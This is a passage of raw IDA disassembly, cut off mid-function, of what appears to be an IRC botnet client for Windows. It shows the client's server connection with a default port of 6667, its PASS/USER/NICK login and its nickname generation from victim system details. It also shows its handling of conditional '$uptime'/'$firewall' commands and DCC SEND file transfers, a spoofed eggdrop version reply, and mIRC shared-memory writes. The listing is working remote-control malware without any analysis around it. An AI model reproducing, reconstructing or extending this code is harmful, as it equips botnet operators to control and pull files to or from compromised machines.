loc_408EAA: ; CODE XREF: sub_408E1A+8Bj lea ecx, [ebp+var_54] push ecx lea ecx, [ebp+var_14] push ecx lea ecx, [ebp+var_34] push ecx push offset a32s16s32s ; "%32s %16s %32s" push eax call sub_411522 ; sscanf add esp, 14h cmp eax, 3 jnz loc_409142 lea eax, [ebp+var_34] push eax call sub_41151C ; atoi mov edi, eax lea eax, [ebp+var_54] push eax call sub_41151C ; atoi pop ecx mov esi, eax test edi, edi pop ecx jnz loc_408FB7 lea eax, [ebp+var_34] push offset dword_413F58 push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_408FB7 lea eax, [ebp+var_34] push offset aUptime ; "$uptime" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408F2C call sub_406AB7 xor edx, edx mov ecx, 15180h div ecx jmp loc_408FB5 ; --------------------------------------------------------------------------- loc_408F2C: ; CODE XREF: sub_408E1A+FDj lea eax, [ebp+var_34] push offset aVersion ; "$version" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408F47 mov edi, 3AEh jmp short loc_408FB7 ; --------------------------------------------------------------------------- loc_408F47: ; CODE XREF: sub_408E1A+124j lea eax, [ebp+var_34] push offset aFree_0 ; "$free" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408F62 call sub_4067B2 jmp short loc_408FB5 ; --------------------------------------------------------------------------- loc_408F62: ; CODE XREF: sub_408E1A+13Fj lea eax, [ebp+var_34] push offset aLatency ; "$latency" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408F7D call sub_406373 jmp short loc_408FB5 ; --------------------------------------------------------------------------- loc_408F7D: ; CODE XREF: sub_408E1A+15Aj lea eax, [ebp+var_34] push offset aFirewall ; "$firewall" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408F98 call sub_4032D2 jmp short loc_408FB5 ; --------------------------------------------------------------------------- loc_408F98: ; CODE XREF: sub_408E1A+175j lea eax, [ebp+var_34] push offset aIpv6 ; "$ipv6" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409142 call sub_4033F9 loc_408FB5: ; CODE XREF: sub_408E1A+10Dj ; sub_408E1A+146j ... mov edi, eax loc_408FB7: ; CODE XREF: sub_408E1A+CDj ; sub_408E1A+E5j ... test esi, esi jnz loc_409089 lea eax, [ebp+var_54] push offset dword_413F58 push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_409089 lea eax, [ebp+var_54] push offset aUptime ; "$uptime" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408FFE call sub_406AB7 xor edx, edx mov ecx, 15180h div ecx jmp loc_409087 ; --------------------------------------------------------------------------- loc_408FFE: ; CODE XREF: sub_408E1A+1CFj lea eax, [ebp+var_54] push offset aVersion ; "$version" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409019 mov esi, 3AEh jmp short loc_409089 ; --------------------------------------------------------------------------- loc_409019: ; CODE XREF: sub_408E1A+1F6j lea eax, [ebp+var_54] push offset aFree_0 ; "$free" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409034 call sub_4067B2 jmp short loc_409087 ; --------------------------------------------------------------------------- loc_409034: ; CODE XREF: sub_408E1A+211j lea eax, [ebp+var_54] push offset aLatency ; "$latency" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40904F call sub_406373 jmp short loc_409087 ; --------------------------------------------------------------------------- loc_40904F: ; CODE XREF: sub_408E1A+22Cj lea eax, [ebp+var_54] push offset aFirewall ; "$firewall" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40906A call sub_4032D2 jmp short loc_409087 ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: sub_408E1A+247j lea eax, [ebp+var_54] push offset aIpv6 ; "$ipv6" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409142 call sub_4033F9 loc_409087: ; CODE XREF: sub_408E1A+1DFj ; sub_408E1A+218j ... mov esi, eax loc_409089: ; CODE XREF: sub_408E1A+19Fj ; sub_408E1A+1B7j ... lea eax, [ebp+var_14] push offset asc_414F64 ; "==" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4090A5 cmp edi, esi jnz loc_409142 loc_4090A5: ; CODE XREF: sub_408E1A+281j lea eax, [ebp+var_14] push offset asc_414F60 ; "!=" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4090C1 cmp edi, esi jz loc_409142 loc_4090C1: ; CODE XREF: sub_408E1A+29Dj lea eax, [ebp+var_14] push offset asc_414F5C ; ">" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4090D9 cmp edi, esi jbe short loc_409142 loc_4090D9: ; CODE XREF: sub_408E1A+2B9j lea eax, [ebp+var_14] push offset asc_414F58 ; ">=" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4090F1 cmp edi, esi jb short loc_409142 loc_4090F1: ; CODE XREF: sub_408E1A+2D1j lea eax, [ebp+var_14] push offset dword_414988 push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409109 cmp edi, esi jnb short loc_409142 loc_409109: ; CODE XREF: sub_408E1A+2E9j lea eax, [ebp+var_14] push offset asc_414F54 ; "<=" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409121 cmp edi, esi ja short loc_409142 loc_409121: ; CODE XREF: sub_408E1A+301j lea eax, [ebp+arg_0] push eax push ebx push 0 call sub_405E4F add esp, 0Ch jmp loc_408E9A ; --------------------------------------------------------------------------- loc_409135: ; CODE XREF: sub_408E1A+82j mov eax, [ebp+var_4] inc eax push eax call sub_408D6E pop ecx jmp short loc_409144 ; --------------------------------------------------------------------------- loc_409142: ; CODE XREF: sub_408E1A+11j ; sub_408E1A+1Aj ... xor eax, eax loc_409144: ; CODE XREF: sub_408E1A+326j pop edi pop esi pop ebx leave retn sub_408E1A endp ; =============== S U B R O U T I N E ======================================= sub_409149 proc near ; CODE XREF: sub_407A76+C96p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push [esp+8+arg_4] call sub_408E1A mov edi, eax pop ecx test edi, edi jz short loc_4091A4 push 327h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_4091A4 push 180h lea eax, [esi+4] push edi push eax call sub_4059C2 push [esp+14h+arg_0] lea eax, [esi+184h] push eax call sub_40457C add esp, 14h push edi push offset aExecutingComma ; "Executing command(s): %s" push 0 push esi push offset sub_408D81 call sub_406D58 add esp, 14h loc_4091A4: ; CODE XREF: sub_409149+10j ; sub_409149+21j pop edi pop esi retn sub_409149 endp ; =============== S U B R O U T I N E ======================================= sub_4091A7 proc near ; CODE XREF: sub_401B81+77p ; sub_409918+461p ... mov eax, dword_419D44 retn sub_4091A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091AD proc near ; CODE XREF: sub_409522+10p ; sub_409522+6Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_0], ebx push esi push edi mov edi, offset byte_419AB8 jz short loc_4091FC push [ebp+arg_0] push offset dword_419C38 call sub_4114B8 ; _mbscpy cmp [ebp+arg_4], ebx pop ecx pop ecx jz short loc_4091D8 push [ebp+arg_4] jmp short loc_4091DD ; --------------------------------------------------------------------------- loc_4091D8: ; CODE XREF: sub_4091AD+24j push offset a6667 ; "6667" loc_4091DD: ; CODE XREF: sub_4091AD+29j mov ebx, offset dword_419D38 push ebx call sub_4114B8 ; _mbscpy cmp [ebp+arg_8], 0 pop ecx pop ecx jz short loc_4091F5 push [ebp+arg_8] jmp short loc_409251 ; --------------------------------------------------------------------------- loc_4091F5: ; CODE XREF: sub_4091AD+41j push offset byte_4191D0 jmp short loc_409251 ; --------------------------------------------------------------------------- loc_4091FC: ; CODE XREF: sub_4091AD+10j xor esi, esi cmp off_418E20, ebx jz short loc_409213 mov eax, offset off_418E20 loc_40920B: ; CODE XREF: sub_4091AD+64j add eax, 0Ch inc esi cmp [eax], ebx jnz short loc_40920B loc_409213: ; CODE XREF: sub_4091AD+57j call sub_40B480 xor edx, edx div esi lea esi, [edx+edx*2] shl esi, 2 push off_418E20[esi] push offset dword_419C38 call sub_4114B8 ; _mbscpy push off_418E24[esi] mov ebx, offset dword_419D38 push ebx call sub_4114B8 ; _mbscpy mov esi, off_418E28[esi] add esp, 10h test esi, esi jz short loc_409259 push esi loc_409251: ; CODE XREF: sub_4091AD+46j ; sub_4091AD+4Dj push edi call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_409259: ; CODE XREF: sub_4091AD+A1j push offset dword_419C38 call sub_40B5A8 push ebx call sub_40B5A8 push edi call sub_40B5A8 add esp, 0Ch pop edi pop esi pop ebx pop ebp retn sub_4091AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409277 proc near ; CODE XREF: sub_409522+B9p ; sub_409918+4BFp var_238 = byte ptr -238h var_1B4 = dword ptr -1B4h var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_120 = byte ptr -120h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 238h lea eax, [ebp+var_238] push esi push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_A0] push eax call sub_404A70 add esp, 0Ch cmp byte_419AB8, 0 jz short loc_4092C7 mov esi, offset byte_419AB8 push esi call sub_40B5E1 pop ecx push esi push offset aPassS ; "PASS %s" call sub_4097DB push esi call sub_40B5A8 add esp, 0Ch loc_4092C7: ; CODE XREF: sub_409277+2Ej xor esi, esi cmp [ebp+arg_0], esi jz short loc_40934B cmp byte_41A268, 0 jz short loc_4092E5 lea eax, [ebp+var_120] push offset byte_41A268 push eax jmp short loc_4092F1 ; --------------------------------------------------------------------------- loc_4092E5: ; CODE XREF: sub_409277+5Ej lea eax, [ebp+var_120] push eax push offset byte_41A268 loc_4092F1: ; CODE XREF: sub_409277+6Cj call sub_4114B8 ; _mbscpy cmp byte_41A3E8, 0 pop ecx pop ecx jz short loc_40930F lea eax, [ebp+var_238] push offset byte_41A3E8 push eax jmp short loc_40931B ; --------------------------------------------------------------------------- loc_40930F: ; CODE XREF: sub_409277+88j lea eax, [ebp+var_238] push eax push offset byte_41A3E8 loc_40931B: ; CODE XREF: sub_409277+96j call sub_4114B8 ; _mbscpy pop ecx lea eax, [ebp+var_238] pop ecx push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_120] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_4097DB add esp, 14h loc_40934B: ; CODE XREF: sub_409277+55j cmp [ebp+arg_4], esi jz loc_40951F cmp [ebp+arg_0], esi jz short loc_409378 cmp byte_41A1E8, 0 jz short loc_409378 push offset byte_41A1E8 push offset dword_414F0C call sub_4097DB pop ecx pop ecx jmp loc_40951F ; --------------------------------------------------------------------------- loc_409378: ; CODE XREF: sub_409277+E0j ; sub_409277+E9j call sub_406AB7 xor edx, edx mov ecx, 15180h div ecx cmp eax, 4 mov [ebp+arg_4], eax jnb short loc_4093C8 call sub_404DAD test eax, eax jnz short loc_4093C8 lea eax, [ebp+var_A0] push offset dword_418E44 push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_A0] push eax call sub_40B5E1 lea eax, [ebp+var_A0] push eax call sub_4098C7 add esp, 10h jmp loc_4094FA ; --------------------------------------------------------------------------- loc_4093C8: ; CODE XREF: sub_409277+115j ; sub_409277+11Ej call sub_404D00 lea eax, [ebp+var_20] push eax call sub_405F9A test eax, eax pop ecx jnz short loc_4093EB lea eax, [ebp+var_20] push offset aUnk ; "UNK" push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_4093EB: ; CODE XREF: sub_409277+162j call sub_4067B2 mov ecx, 400h cmp eax, ecx jbe short loc_409400 call sub_4067B2 jmp short loc_409402 ; --------------------------------------------------------------------------- loc_409400: ; CODE XREF: sub_409277+180j mov eax, ecx loc_409402: ; CODE XREF: sub_409277+187j shr eax, 0Ah push ebx mov [ebp+arg_0], eax call sub_406373 cmp eax, 2EEh mov ebx, offset aB ; "B" jnb short loc_40941F mov ebx, offset aA ; "A" loc_40941F: ; CODE XREF: sub_409277+1A1j cmp eax, 1F4h jnb short loc_40942B mov ebx, offset aG ; "G" loc_40942B: ; CODE XREF: sub_409277+1ADj push edi push 24h pop ecx xor eax, eax lea edi, [ebp+var_1B0] mov [ebp+var_1B4], 94h rep stosd lea eax, [ebp+var_1B4] push eax call dword_412034 ; GetVersionExA cmp [ebp+var_1B0], 5 pop edi jnz short loc_409466 cmp [ebp+var_1AC], 1 jnz short loc_409466 push 1 pop esi loc_409466: ; CODE XREF: sub_409277+1E1j ; sub_409277+1EAj push 5Ah push 41h call sub_40B459 pop ecx pop ecx push eax push 5Ah push 41h call sub_40B459 pop ecx pop ecx test esi, esi push eax setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push ebx push [ebp+arg_0] lea eax, [ebp+var_20] push 5Dh push [ebp+arg_4] push 5Bh push 5Dh push eax push 5Bh lea eax, [ebp+var_A0] push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" push eax call sub_4114DC ; sprintf add esp, 34h cmp byte_418ED0, 0 pop ebx jz short loc_4094FA mov esi, offset dword_418E50 push offset byte_418ED0 push esi call sub_4114B8 ; _mbscpy push esi call sub_40B5E1 add esp, 0Ch cmp byte_418F50, 0 jz short loc_4094FA mov esi, offset dword_41A0E8 push offset byte_418F50 push esi call sub_4114B8 ; _mbscpy push esi call sub_40B5E1 add esp, 0Ch loc_4094FA: ; CODE XREF: sub_409277+14Cj ; sub_409277+246j ... lea eax, [ebp+var_A0] push eax push offset dword_414F0C call sub_4097DB lea eax, [ebp+var_A0] push eax push offset byte_41A1E8 call sub_4114B8 ; _mbscpy add esp, 10h loc_40951F: ; CODE XREF: sub_409277+D7j ; sub_409277+FCj pop esi leave retn sub_409277 endp ; =============== S U B R O U T I N E ======================================= sub_409522 proc near ; CODE XREF: sub_407A76+129Cp ; sub_409918+3B8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push [esp+10h+arg_8] push [esp+14h+arg_4] push [esp+18h+arg_0] call sub_4091AD push dword_419D44 call sub_403D70 mov edi, offset dword_419C38 mov ebp, 0EA60h push edi call sub_40B5E1 mov esi, offset dword_419D38 push esi call sub_40B5E1 mov ebx, 2710h push ebx push 1 push esi push edi call sub_403C04 push edi mov dword_419D44, eax call sub_40B5A8 push esi call sub_40B5A8 add esp, 30h loc_409580: ; CODE XREF: sub_409522+B3j cmp dword_419D44, 0 jnz short loc_4095D7 xor eax, eax push eax push eax push eax call sub_4091AD add esp, 0Ch push ebp call dword_4120A4 ; Sleep cmp ebp, 0A4CB80h jge short loc_4095AB add ebp, 0EA60h loc_4095AB: ; CODE XREF: sub_409522+81j push edi call sub_40B5E1 push esi call sub_40B5E1 push ebx push 1 push esi push edi call sub_403C04 push edi mov dword_419D44, eax call sub_40B5A8 push esi call sub_40B5A8 add esp, 20h jmp short loc_409580 ; --------------------------------------------------------------------------- loc_4095D7: ; CODE XREF: sub_409522+65j push 1 push 1 call sub_409277 pop ecx pop ecx pop edi pop esi pop ebp pop ebx retn sub_409522 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095E7 proc near ; CODE XREF: sub_401B81+14Dp ; sub_407A76+B05p ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_411540 push [ebp+arg_0] lea eax, [ebp+var_1000] push offset aNoticeS ; "NOTICE %s :" push eax call sub_4114DC ; sprintf lea ecx, [ebp+arg_8] push ecx mov ecx, 1000h push [ebp+arg_4] sub ecx, eax lea eax, [ebp+eax+var_1000] push ecx push eax call sub_411790 ; _vsnprintf lea eax, [ebp+var_1000] push offset asc_413214 ; "\r\n" push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_1000] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_1000] push eax push dword_419D44 call sub_403D9D add esp, 34h leave retn sub_4095E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409659 proc near ; CODE XREF: sub_401B81+184p ; sub_40287C+10Ep ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_411540 push [ebp+arg_0] lea eax, [ebp+var_1000] push offset aPrivmsgS ; "PRIVMSG %s :" push eax call sub_4114DC ; sprintf lea ecx, [ebp+arg_8] push ecx mov ecx, 1000h push [ebp+arg_4] sub ecx, eax lea eax, [ebp+eax+var_1000] push ecx push eax call sub_411790 ; _vsnprintf lea eax, [ebp+var_1000] push offset asc_413214 ; "\r\n" push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_1000] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_1000] push eax push dword_419D44 call sub_403D9D add esp, 34h leave retn sub_409659 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4096CB proc near ; CODE XREF: sub_4011C4+4Cp ; sub_4011C4+21Bp ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_411540 push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+198h], 0 jnz loc_4097D8 mov eax, [esi+121h] push edi cmp eax, 1 jnz short loc_409700 lea eax, [esi+21h] push eax push offset aNoticeS ; "NOTICE %s :" jmp short loc_409725 ; --------------------------------------------------------------------------- loc_409700: ; CODE XREF: sub_4096CB+28j cmp eax, 2 jnz short loc_409710 lea eax, [esi+21h] push eax push offset dword_415060 jmp short loc_409725 ; --------------------------------------------------------------------------- loc_409710: ; CODE XREF: sub_4096CB+38j cmp eax, 3 lea eax, [esi+21h] push eax jnz short loc_409720 push offset dword_415050 jmp short loc_409725 ; --------------------------------------------------------------------------- loc_409720: ; CODE XREF: sub_4096CB+4Cj push offset aPrivmsgS ; "PRIVMSG %s :" loc_409725: ; CODE XREF: sub_4096CB+33j ; sub_4096CB+43j ... lea eax, [ebp+var_1000] push eax call sub_4114DC ; sprintf add esp, 0Ch cmp dword ptr [esi+19Fh], 0 mov edi, eax jz short loc_409762 mov eax, [esi+121h] cmp eax, 2 jz short loc_40974F cmp eax, 3 jnz short loc_409762 loc_40974F: ; CODE XREF: sub_4096CB+7Dj lea eax, [ebp+var_1000] push offset dword_415044 push eax call sub_4114EE ; _mbscat pop ecx pop ecx loc_409762: ; CODE XREF: sub_4096CB+72j ; sub_4096CB+82j lea eax, [ebp+arg_8] push eax mov eax, 1000h push [ebp+arg_4] sub eax, edi push eax lea eax, [ebp+edi+var_1000] push eax call sub_411790 ; _vsnprintf mov esi, [esi+121h] add esp, 10h cmp esi, 2 pop edi jz short loc_409792 cmp esi, 3 jnz short loc_4097A5 loc_409792: ; CODE XREF: sub_4096CB+C0j lea eax, [ebp+var_1000] push offset dword_415040 push eax call sub_4114EE ; _mbscat pop ecx pop ecx loc_4097A5: ; CODE XREF: sub_4096CB+C5j lea eax, [ebp+var_1000] push offset asc_413214 ; "\r\n" push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_1000] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_1000] push eax push dword_419D44 call sub_403D9D add esp, 18h loc_4097D8: ; CODE XREF: sub_4096CB+18j pop esi leave retn sub_4096CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097DB proc near ; CODE XREF: sub_40287C:loc_402A05p ; sub_4052DF+D8p ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_411540 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_1000] push [ebp+arg_0] push 1000h push eax call sub_411790 ; _vsnprintf lea eax, [ebp+var_1000] push offset asc_413214 ; "\r\n" push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_1000] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_1000] push eax push dword_419D44 call sub_403D9D add esp, 28h leave retn sub_4097DB endp ; =============== S U B R O U T I N E ======================================= sub_409835 proc near ; CODE XREF: sub_409843+Bp push 0 push offset aMirc ; "mIRC" call dword_4121F8 retn sub_409835 endp ; =============== S U B R O U T I N E ======================================= sub_409843 proc near ; CODE XREF: sub_407A76+12EDp var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push esi push edi xor edi, edi cmp [esp+0Ch+arg_0], edi jz short loc_4098C3 call sub_409835 mov esi, eax cmp esi, edi mov [esp+0Ch+var_4], esi jz short loc_4098C3 push ebx push ebp push offset aMirc ; "mIRC" push 1000h push edi push 4 push edi push 0FFFFFFFFh call dword_4120C8 ; CreateFileMappingA push edi push edi mov ebx, eax push edi push 0F001Fh push ebx call dword_4120C4 ; MapViewOfFile push [esp+14h+arg_0] mov ebp, eax push ebp call sub_4114DC ; sprintf pop ecx pop ecx push edi push 1 push 4C8h push esi mov esi, dword_4121FC call esi push edi push 1 push 4C9h push [esp+20h+var_4] call esi push ebp call dword_4120C0 ; UnmapViewOfFile push ebx call dword_4120AC ; CloseHandle pop ebp pop ebx loc_4098C3: ; CODE XREF: sub_409843+9j ; sub_409843+18j pop edi pop esi pop ecx retn sub_409843 endp ; =============== S U B R O U T I N E ======================================= sub_4098C7 proc near ; CODE XREF: sub_407A76+B0p ; sub_409277+144p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp push edi push ebx call sub_4114BE ; strlen mov ebp, eax xor edi, edi test ebp, ebp pop ecx jle short loc_409914 push esi loc_4098DE: ; CODE XREF: sub_4098C7+4Aj mov al, [edi+ebx] lea esi, [edi+ebx] cmp al, 23h jnz short loc_4098EE push 39h push 30h jmp short loc_409905 ; --------------------------------------------------------------------------- loc_4098EE: ; CODE XREF: sub_4098C7+1Fj cmp al, 3Fh jnz short loc_40990E call sub_40B4C3 test eax, eax jz short loc_409901 push 7Ah push 61h jmp short loc_409905 ; --------------------------------------------------------------------------- loc_409901: ; CODE XREF: sub_4098C7+32j push 5Ah push 41h loc_409905: ; CODE XREF: sub_4098C7+25j ; sub_4098C7+38j call sub_40B459 pop ecx mov [esi], al pop ecx loc_40990E: ; CODE XREF: sub_4098C7+29j inc edi cmp edi, ebp jl short loc_4098DE pop esi loc_409914: ; CODE XREF: sub_4098C7+14j pop edi pop ebp pop ebx retn sub_4098C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409918 proc near ; CODE XREF: sub_40A236+1C4p var_338 = byte ptr -338h var_2BC = byte ptr -2BCh var_260 = byte ptr -260h var_23F = byte ptr -23Fh var_1BC = byte ptr -1BCh var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_13F = dword ptr -13Fh var_13B = byte ptr -13Bh var_C1 = dword ptr -0C1h var_BC = byte ptr -0BCh var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 338h push ebx push esi mov esi, [ebp+arg_C] push edi push offset aPing ; "PING" push dword ptr [esi] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40994B push dword ptr [esi+4] push offset aPongS ; "PONG %s" loc_409941: ; CODE XREF: sub_409918+39Ej ; sub_409918+3FCj ... call sub_4097DB jmp loc_409DBA ; --------------------------------------------------------------------------- loc_40994B: ; CODE XREF: sub_409918+1Fj push offset aPong ; "PONG" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_40A231 push offset aMode ; "MODE" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_40A231 push offset aPrivmsg ; "PRIVMSG" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409B55 mov eax, [esi+0Ch] xor edi, edi cmp eax, edi jz loc_409B57 cmp byte ptr [eax+1], 1 jnz loc_409B57 push offset dword_415154 push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409AB9 mov eax, [esi+10h] cmp eax, edi jz loc_409AB9 push offset aSend ; "SEND" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409AB9 cmp [ebp+arg_0], edi jz loc_409AB9 mov ecx, [esi+14h] cmp ecx, edi jz loc_40A231 cmp [esi+18h], edi jz loc_40A231 cmp [esi+1Ch], edi jz loc_40A231 mov eax, [esi+20h] cmp eax, edi jz loc_40A231 cmp byte ptr [ecx], 22h jz loc_40A231 push eax call sub_4114BE ; strlen mov ecx, [esi+20h] push [ebp+arg_4] and byte ptr [eax+ecx], 0 lea eax, [ebp+var_260] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_23F] push offset dword_418E50 push eax call sub_4114B8 ; _mbscpy push 7Ah lea eax, [ebp+var_13B] push edi push eax mov [ebp+var_13F], edi call sub_4114E8 ; memset push dword ptr [esi+18h] mov [ebp+var_C1], 1 call sub_41151C ; atoi movzx ecx, al add esp, 24h push ecx mov ecx, eax shr ecx, 8 movzx ecx, cl push ecx mov ecx, eax shr ecx, 10h movzx ecx, cl shr eax, 18h push ecx push eax lea eax, [ebp+var_2C] push offset dword_413A58 push eax call sub_4114DC ; sprintf push dword ptr [esi+20h] lea eax, [ebp+var_2C] push dword ptr [esi+1Ch] push eax lea eax, [ebp+var_260] push dword ptr [esi+14h] push [ebp+arg_4] push eax call sub_401EA8 add esp, 30h jmp loc_40A231 ; --------------------------------------------------------------------------- loc_409AB9: ; CODE XREF: sub_409918+9Ej ; sub_409918+A9j ... push offset dword_415140 push dword ptr [esi+0Ch] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_409B19 push offset dword_415134 push dword ptr [esi+0Ch] call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jz short loc_409B19 push offset dword_41512C push dword ptr [esi+0Ch] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_409B04 push offset dword_415124 push dword ptr [esi+0Ch] call dword_412110 test eax, eax jnz short loc_409B57 loc_409B04: ; CODE XREF: sub_409918+1D8j mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_4095E7 jmp loc_409DBA ; --------------------------------------------------------------------------- loc_409B19: ; CODE XREF: sub_409918+1B2j ; sub_409918+1C5j cmp [ebp+arg_0], edi jz short loc_409B3E push offset dword_418FD0 push 3AEh push edi push offset dword_415100 push [ebp+arg_4] call sub_4095E7 add esp, 14h jmp loc_40A231 ; --------------------------------------------------------------------------- loc_409B3E: ; CODE XREF: sub_409918+204j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_4150E0 push [ebp+arg_4] call sub_4095E7 jmp loc_409E4C ; --------------------------------------------------------------------------- loc_409B55: ; CODE XREF: sub_409918+72j xor edi, edi loc_409B57: ; CODE XREF: sub_409918+7Fj ; sub_409918+89j ... push offset a433 ; "433" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409CBB call sub_406AB7 xor edx, edx mov ecx, 15180h div ecx cmp eax, 4 mov [ebp+arg_10], eax jnb short loc_409BBE call sub_404DAD test eax, eax jnz short loc_409BBE lea eax, [ebp+var_BC] push offset dword_418E44 push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_BC] push eax call sub_40B5E1 lea eax, [ebp+var_BC] push eax call sub_4098C7 add esp, 10h jmp loc_409CAA ; --------------------------------------------------------------------------- loc_409BBE: ; CODE XREF: sub_409918+26Aj ; sub_409918+273j call sub_404D00 lea eax, [ebp+var_3C] push eax call sub_405F9A test eax, eax pop ecx jnz short loc_409BE1 lea eax, [ebp+var_3C] push offset aUnk ; "UNK" push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_409BE1: ; CODE XREF: sub_409918+2B7j call sub_4067B2 mov ecx, 400h cmp eax, ecx jbe short loc_409BF6 call sub_4067B2 jmp short loc_409BF8 ; --------------------------------------------------------------------------- loc_409BF6: ; CODE XREF: sub_409918+2D5j mov eax, ecx loc_409BF8: ; CODE XREF: sub_409918+2DCj shr eax, 0Ah mov [ebp+arg_4], eax call sub_406373 cmp eax, 3E8h mov ebx, offset aB ; "B" jnb short loc_409C14 mov ebx, offset aA ; "A" loc_409C14: ; CODE XREF: sub_409918+2F5j cmp eax, 1F4h jnb short loc_409C20 mov ebx, offset aG ; "G" loc_409C20: ; CODE XREF: sub_409918+301j push 24h xor eax, eax pop ecx lea edi, [ebp+var_14C] mov [ebp+var_150], 94h xor esi, esi rep stosd lea eax, [ebp+var_150] push eax call dword_412034 ; GetVersionExA cmp [ebp+var_14C], 5 jnz short loc_409C5B cmp [ebp+var_148], 1 jnz short loc_409C5B push 1 pop esi loc_409C5B: ; CODE 